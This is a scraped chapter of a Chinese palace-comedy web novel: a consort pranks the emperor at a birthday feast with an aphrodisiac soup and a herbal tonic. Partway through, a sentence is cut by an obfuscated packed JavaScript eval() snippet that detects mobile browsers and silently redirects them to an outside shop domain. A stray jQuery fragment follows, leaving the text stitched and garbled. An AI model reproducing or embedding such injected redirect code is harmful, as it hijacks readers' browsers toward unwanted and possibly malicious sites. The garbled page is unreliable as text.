文趣网 > 其他小说 > 第四天灾,但古早宫斗文游 > 29. 第 29 章
    傅岁久双手背在身后,踮着脚四处张望,确认每个人桌上都有一个砂锅这才哼哼两声。

    她绕过桌子走到众人面前,面对着栾烨咧嘴笑得几乎看不见眼睛,“噔噔!这个呢是我特地要来的土方子,是岭南一带的食补,吃了对人体多有裨益。”

    至于什么裨益,那自然是要等小皇帝亲自尝了才知道咯。

    她说完就抿着唇回过身去,双手大展开,起哄似的扇扇,“好啦大家快尝尝!”

    许昭莹听了只轻哼一声,撇撇嘴横了身侧的戴芊妤一眼,嘴里嘀咕:“岭南那是流放之地。一个蛮夷之地知道什么食补?”

    原本戴芊妤还拿着勺子想要尝一口,可见许昭莹冲自己瞪了瞪,这便也不敢动了,放下勺子眼巴巴地看着旁人喝。

    看着傅岁久那个古灵精怪的样子,栾烨就觉得她没安什么好心。

    这所谓的食补也不知道有没有毒,万一她并未放弃刺杀自己的心,在这锅里下毒可如何是好?

    他狐疑地看向李泰和,示意对方拿了银针来探。

    李泰和将藏在袖里的银针拿出来,上前探过,确认没有毒便向他摇了摇头。

    可他还是不太相信傅岁久会乖乖地准备礼物,便蹙着眉望向堂下。

    傅岁久也似有所察地回过眸看他,一双杏眼亮晶晶的,眼下小巧的痣看上去可爱极了。

    她冲他拱了拱手,笑说:“快喝呀陛下,真没下毒。”

    “……”然而此话一出就更加可疑了,栾烨闻言直接放下了手里的汤勺,眉头紧蹙死死地盯着她。

    “唉你这人真是。”傅岁久一脸宠溺,无奈地摇摇头,上前去拿过他的汤勺舀了砂锅里的汤一口喝下,这才将勺子递回去给他,“这样你总信了吧?我都喝了!”

    栾烨看她一眼,又看一眼她手里的勺子,眉头依旧皱得能夹死一只苍蝇,“……换个勺子。”

    等到宫女将新的勺子拿来,他这才肯捋过袖子,浅浅舀了一口喝下。

    起初他也不过是浅尝辄止,可当那汤入口,其中的鲜甜将他的味蕾完全包裹,让他仿佛置身在清凉的海域,他便很不争气地又喝了几口。

    看着栾烨一口接一口地喝下,就连锅底的甲鱼也几乎要现出来了,傅岁久这才勾了勾唇,笑说:“其实这个汤被称为‘十全大补汤’,是用来……”

    “壮阳”二字还没说完,她的后背就被栾烨喷湿了。

    栾烨狼狈地用帕子擦了嘴角,恨不得将舌头也拔出来洗一遍,望着她破口大骂:“傅岁久你敢耍朕!”

    原本看圣上当真越喝越多,许昭莹的心里还吊在半空不上不下,生怕自己被比了下去。

    如今一看圣上这勃然大怒的样子,她瞬间放心下来了。

    这傅岁久今日必定遭殃。

    “哎呀呀此言差矣。”傅岁久全然没注意到许昭莹幽怨的目光,只抿着唇忍俊不禁地看着栾烨。

    她心里暗爽,让他凶她,她能给他好果子吃吗?

    只是爽归爽了,她还是需要掩饰一下自己的意图的,哪能真的给他递刀子呢。

    于是她故意音量提升了两个度,接着道:“陛下是天子,如今又膝下无子,这后宫妃嫔众多我是真怕陛下吃不消啊。臣妾这么做也都是为了陛下好呀。”

    见栾烨还是擎着一双死鱼眼看她,她便又抽抽鼻子,嘴巴嘬圆了抽噎,一副要哭的样子,“臣妾如此劳心劳力,只求能为陛下尽一点绵力,没想到陛下非但不领情,反倒还……”

    看着她低垂着脑袋,肩膀一抽一抽的,就连太后都有些于心不忍了。

    圣上早就该大开选秀,广纳后宫,早些开枝散叶的,只是他偏要以为先帝守孝的名义推脱了几年。

    若不是他选秀当日就急不可耐地宠幸了傅贵人,她当真要以为自己生下的孩子是个有龙阳之好的了。

    只是这么些天以来,他除了傅贵人以外谁也不传进寝宫,偌大个后宫都被他冷落。

    若不是有龙阳之好,只怕是他的身体有些什么隐疾了。

    如今傅贵人弄来了十全大补汤给他补补身子,正是时候。

    这烨儿也真是,傅贵人如此体贴,他又怎么忍心斥责她?

    “傅贵人也是一番好意,陛下就喝了罢。”太后伸手按了按栾烨紧握住的拳头,轻轻拍了拍。

    原本正不断给驸马灌汤的长公主闻言也是笑笑,连忙附和:“是呀是呀,这汤效果当真是不错的。陛下您瞧瞧,驸马的气色都红润了起来。”

    被灌了一肚子汤水的驸马爷狠狠打了个饱嗝,捉住妻子灌汤的手,轻声道:“公主,当真是喝不下了。”

    “嘘。”长公主侧过脸斜了他一眼,捧着汤碗的手还在不断地往他嘴里塞,“喝不完你今晚扛不住本宫可是要罚你的。”

    一想到明天下床又要双腿打颤,自己还得顶着苍白的嘴唇上朝,驸马也是一咬牙,瞪大了双眼仿佛下定了某种决心,抬手将汤全数灌下。

    栾烨恨恨地环顾一周,发觉所有人似乎都站在了傅岁久的那边,就连李泰和也不例外。

    看来这妖女不但识得回溯时间的妖术,甚至连笼络人心的手段也颇为毒辣,现在的他绝不是她的对手。

    思绪至此,他又不自觉地望向坐在不远处的栾岷津。

    栾岷津并未动汤匙,甚至连砂锅的锅盖都没有打开,只是气定神闲地啖茶望着他与傅岁久大眼瞪小眼。

    很明显,栾岷津早就知晓这锅里放的究竟是何物却不吐一眼,只翘着手在一旁等着看他闹笑话。

    甚至端坐在一侧的时砚也在虎视眈眈,正准备将他的一举一动记录下来。

    既然所有人都准备看他闹笑话,他就偏不让他们得逞。

    栾烨清了清嗓子,正色道:“除了这十全大补汤,还有呢?”

    刚刚礼官可是报了不少乱七八糟的东西,要将这些东西摊开来说,丢脸的是她傅岁久。

    “其他东西都是给公主殿下准备的,自然只能告诉公主一人此物要如何使用了。”傅岁久抿着唇一副要笑不笑的样子,脑袋一边说一边晃荡,徐步走到了长公主的身侧。

    栾烨鄙夷地望她一眼,不想长公主与她多有亲近,可还没等他说话长公主便冲她招了招手,示意她弯下腰来说话。

    这两人越说越兴奋,旁若无人,甚至将一侧喝汤喝得满脸菜色的驸马爷都挤走了,声音倒是细若蚊叮。

    不一会的功夫,两人的脸就笑得通红,长公主一边掩着嘴偷笑,一边嘴里还不断发出:“真的吗?可以这样玩吗?”的惊呼。

    傅岁久只抽空睨了栾烨一眼,仿佛耀武扬威一般,又接着连连点头,凑到长公主耳边嘀嘀咕咕。

    “真的假的?那会影响使用吗?要清洗吗?”

    “不会影响使用,但是要勤清洗。”

    “那这个呢?”说着长公主又拿出一个陶瓷制的小瓶子晃了晃,两眼放光,“这是作甚么的?”

    傅岁久清了清嗓子,手撑在两人之间,正要俯首接着和长公主窃窃私语,这便被栾烨扬声打断,“要说就光明正大地说,跟做贼一样成何体统!”

    “你说的啊。”她扬了扬眉,并没有栾烨意料中的为难,反倒是“哎哟”几声从椅子上起身,一本正经地念道:“这药是将锁阳、肉苁蓉、淫羊藿、海马、玛卡、海龙、鹿茸、人参、杜仲、枸杞放入药舂,用木槌研墨成粉制成。用时只需倒出一点,用烈酒和之即可。这药能让——”

    她提前准备好的虎狼之词还没说完就被栾烨再次打断,“够了!”

    但凡是对药理有几

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684319|204621||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    分了解的,只听她报这其中的几味药便知晓药效,他又怎么肯让她在大庭广众之下讲那些污言秽语。

    即便他如何不像承认,她也是他的妃嫔,要说这些话也只能说与他一人听。

    看着栾烨气得耳朵都红了,傅岁久这才心满意足地哼哼:“是你让我说的呀。”

    “朕现在要你闭嘴!”

    “不说就不说嘛凶死人了。”傅岁久一边说一边用袖口掩面,垂落的手还捏着长公主的衣袖央央。

    本来长公主就对她送的礼物很是满意,如今更是视她为知音,哪里舍得让旁人骂她。

    她一手握住了傅岁久垂下的手,侧过脸去看身侧的皇帝,笑说:“今日是本宫的寿辰,陛下就当卖本宫个人情莫要吵了。傅贵人送的礼物深得本宫心意,如此聪慧又体贴,陛下怎么一点也不懂得珍惜!”

    说完还仍觉得不够解气似的,又伸手揽过傅岁久的肩膀,将她护到怀里,正色道:“别怕,若是在宫里受了欺负就跟本宫说。大不了本宫接你来本宫行宫住几天,咱不受这委屈!”

    “……皇姐。”栾烨还想说些什么,可那些伦理纲常在他嘴巴里打了个转又重新咽回到了肚子里。

    虽说他们两姐弟相处的日子不多,但先帝有多宠爱他这个皇姐他都看在了眼里,记在了心里。

    只要是能分给她一份的,先帝总少不了她的。若是姐弟二人分食,先帝宁愿苦一苦他,也要给她挣一份。

    如今虽说他已登基,可念在两人姐弟情谊上,他多少也是要给长公主一些面子的。

    若他仗着现在帝位在手便翻脸不认人,只怕午夜梦见先帝震怒,他也不知该如何解释。

    更何况今日还是长公主的寿辰,自然是长公主最大。

    与这妖女的恩恩怨怨倒当真不急于一时。

    见栾烨迟迟没有反应,长公主脸色自是更加难堪了,“难道先帝去了,本宫说的话就都不管用了吗?”

    一旁的太后也忍不住打圆场:“烨儿不是那个意思,作为一国之君他多少是要思量的,环儿你也莫要心急。”

    “罢了罢了。”栾烨无奈捋过袖袍,捏了捏疼得厉害的眉心,“赏,赏。既然长公主钟意,那朕赏傅贵人便是了。”

    要怪,就怪这妖女太会蛊惑人心。

    是他技不如人,理应愿赌服输。

    “谢陛下恩赐。”傅岁久潦草地福了福身,一溜烟就蹿回到原位去,撸起袖子甩开膀子接着吃了,嘴里还不住地吆喝:“下班咯!”

    另一边的栾岷津目光幽深,定定地看着她,看得出了神。

    虽然听不懂她嘴里吆喝的是什么意思,可他还是觉得这女子有趣极了。

    既是寿宴,自然免不了雇戏子唱戏和歌女献舞的。

    今日众人齐聚一堂,不仅妃嫔们削尖了脑袋想上位,一众大臣也想要在今日一展风采,好得圣上青睐。

    明明只不过是用于消遣的乐子,在这些文人腹中的墨水滚过一趟这便成了发人深省的旷世巨作,恨不得逐字逐句解析。

    众人皆是满口仁义道德,句句都是伦理纲常,念经似的叽里咕噜,听得傅岁久脑子发胀。

    她听不下去,只觉得这些话像极了催眠,便撑着脑袋将葡萄塞进嘴里,眯蒙着眼睛环顾四周。

    直到目光触及到栾岷津锐利的视线,他冲她微微颔首,又似有深意地勾了勾唇,她这才像被触了电一样收回了视线。

    明明在场的妃嫔大臣这样多,可他却一直直勾勾地望着她,丝毫不避讳。

    她只要回他一个眼神,他就会向她稍稍举杯示意。

    意识到栾岷津是臣而她是栾烨的妃嫔以后,现在她是真的有一点自己在和栾岷津偷情的实感了。

    众目睽睽之下恍若白日宣淫。